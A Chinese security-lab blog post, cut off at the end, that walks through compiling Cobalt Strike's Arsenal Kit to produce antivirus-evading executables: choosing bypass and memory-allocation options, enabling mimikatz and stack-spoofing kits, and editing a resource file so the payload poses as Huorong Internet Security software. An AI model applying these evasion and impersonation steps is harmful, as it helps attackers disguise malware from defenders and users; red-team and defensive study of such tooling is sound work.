专栏名称: 合天网安实验室
为广大信息安全爱好者提供有价值的文章推送服务!
51好读  ›  专栏  ›  合天网安实验室

Arsenal-kit免杀套件编译与测试

合天网安实验室  · 公众号  ·  · 2024-07-16 16:30

正文

0x00 前言

CobaltStrike原生Artifact Kit生成的Artifact几乎已被所有主流杀软查杀,但我们可以用CobaltStrike官方Arsenal Kit免杀套件来替代原生Artifact Kit,目前还有一定免杀效果,过国内杀软问题不大。

0x01 套件简介

这个免杀套件主要包含了以下几个插件,Artifact Kit只是Arsenal Kit的一部分,可用于构建可逃避某些防病毒软件的EXE、DLL和Service EXE,这篇主要记录的Artifact,其他几个自己去看下吧。


CobaltStrike 4.x在以下地方使用Artifact Kit:

Payloads -> Windows Stager PayloadPayloads -> Windows Stageless PayloadAttacks -> Scripted Web Delivery (bitsadmin and exe)Beacon's 'elevate svc-exe' commandBeacon's 'jump psexec' and 'jump psexec64' commands


Arsenal Kit(20240125)功能支持CobaltStrike版本:


0x02 套件编译

arsenal-kit20240125 套件复制到kali的 tmp 目录下并解压,我们主要用到 Artifact ,所以先去了解下它的目录结构和文件,详情可见README.md文档。
/images:线程堆栈欺骗测试截图/src-common:Artifact Kit、Bypass、内存注入等源码/src-main:编译dll用的源码、二进制元数据和ICO图标等build.sh:交叉编译的生成二进制命令脚本README.md:Artifact Kit介绍和使用方法README_STACK_SPOOF.md:线程堆栈欺骗介绍和使用方法script_template.cna:默认的cna脚本模板


修改arsenal_kit.config配置文件,下图中看到默认只编译了 Artifact ,如果要编译其他插件可将其值改为 true ,这样在执行 build_arsenal_kit.sh 脚本时就会依次编译了。


arsenal-kit/arsenal_kit.config
## What kits do you want to build?include_artifact_kit="true"include_udrl_kit="true"include_sleepmask_kit="true"include_process_inject_kit="true"include_resource_kit="true"include_mimikatz_kit="true"

注意:

执行 build_arsenal_kit.sh 编译过程中如果出现下图报错时可以将其代码注释掉,或者可以进入到某个插件源码目录下执行 build.sh 脚本单独编译,有相关参数提示。


arsenal-kit/arsenal_kit.config
## What kits do you want to build?# include_artifact_kit="true"include_udrl_kit="true"include_sleepmask_kit="true"include_process_inject_kit="true"include_resource_kit="true"include_mimikatz_kit="true"

arsenal-kit/build_arsenal_kit.sh
## Artifact kitfunction build_artifact_kit () {    print_good "Building Artifact Kit"    cd "${artifactkit_directory}"    "${artifactkit_directory}/build.sh" "${artifactkit_technique}" "${artifactkit_allocator}" "${artifactkit_stage_size}" "${rdll_size}" "${artifactkit_include_resource}" "${artifactkit_stack_spoof}" "${artifactkit_syscalls_method}" "${artifactkit_dist_directory}"#    if [ $? -gt 0 ] ; then#      exit 2#    fi}

Artifact提供了5种绕过技术和3种内存分配方式,默认用的 pipe HeapAlloc ,可修改 artifactkit_technique artifactkit_allocator 值来指定使用哪种?


这里我们将默认的 pipe HeapAlloc 改为 mailslot HeapAlloc template 是模板,过不了任何防病毒软件。

如果仍然无法免杀时可以尝试更改为其他选项,然后再重新编译试试。

arsenal-kit/arsenal_kit.config
# Artifact technique (see readme in Artifact for details)# Only specify a single bypass technique for the arsenal kit, no spaces are allowed.# Options are: mailslot, peek, pipe, readfile, readfile-v2, templateartifactkit_technique="mailslot"
# Artifact reflective loader allocator# Set how the artifact allocates memory for the reflective loader.# Options are: HeapAlloc, VirtualAlloc, and MapViewOfFileartifactkit_allocator="HeapAlloc"

如果想往生成的EXE文件添加版本、图标等信息可以修改src-main目录下的 resource.rc 文件,将最后一行 IDI_ICON1 注释去掉,再将 icon.ico 替换为我们的 .ico 文件即可。


arsenal-kit/kits/artifact/src-mainresource.rc
#include "winver.h" #define IDI_ICON1                       101 ///////////////////////////////////////////////////////////////////////////////// Version// #define VER_FILEVERSION             5,0,1,1#define VER_FILEVERSION_STR         "5,0,1,1\0" #define VER_PRODUCTVERSION          5,0,1,1#define VER_PRODUCTVERSION_STR      "5,0,1,1\0" VS_VERSION_INFO VERSIONINFOFILEVERSION     VER_FILEVERSIONPRODUCTVERSION  VER_PRODUCTVERSIONFILEFLAGSMASK   VS_FFI_FILEFLAGSMASKFILEOS          VOS__WINDOWS32FILETYPE        VFT_APPFILESUBTYPE     VFT2_UNKNOWNBEGIN    BLOCK "StringFileInfo"    BEGIN        BLOCK "040904B0"        BEGIN            VALUE "CompanyName", "Beijing Huorong Network Technology Co., Ltd."            VALUE "FileDescription", "Huorong Internet Security Main UI"            VALUE "FileVersion", "5.0.1.1"            VALUE "InternalName", "HipsMain"            VALUE "LegalCopyright", "Beijing Huorong Network Technology Co., Ltd."            VALUE "OriginalFilename", "HipsMain.exe"            VALUE "ProductName", "Huorong Internet Security"            VALUE "ProductVersion", "5.0.1.1"        END    END    BLOCK "VarFileInfo"    BEGIN        VALUE "Translation", 0x409, 1266    ENDEND
///////////////////////////////////////////////////////////////////////////////// Icon// // Icon with lowest ID value placed first to ensure application icon// remains consistent on all systems.IDI_ICON1 ICON "src-main/icon.ico"

最后执行 build_arsenal_kit.sh 脚本编译即可,执行前还得chmod命令设置下文件权限 777 ,否则可能会报权限不足的错误...,编译好的所有文件将会保存在 dist 目录下。

┌──(root㉿kali)-[/tmp/arsenal-kit]└─# chmod -R 777 *                                                                                                        ┌──(root㉿kali)-[/tmp/arsenal-kit]└─# ./build_arsenal_kit.sh


我们只改了arsenal_kit.config的几个选项,其他插件选项在源码中都有注释,大家可以自己去看下,根据各自的需求去设置相关插件选项,具体效果如何还得去测试......。


arsenal-kit/arsenal_kit.config
#### Artifact kit optionsrdll_size=5artifactkit_stage_size=310272artifactkit_include_resource="true"artifactkit_stack_spoof="true"artifactkit_syscalls_method






请到「今天看啥」查看全文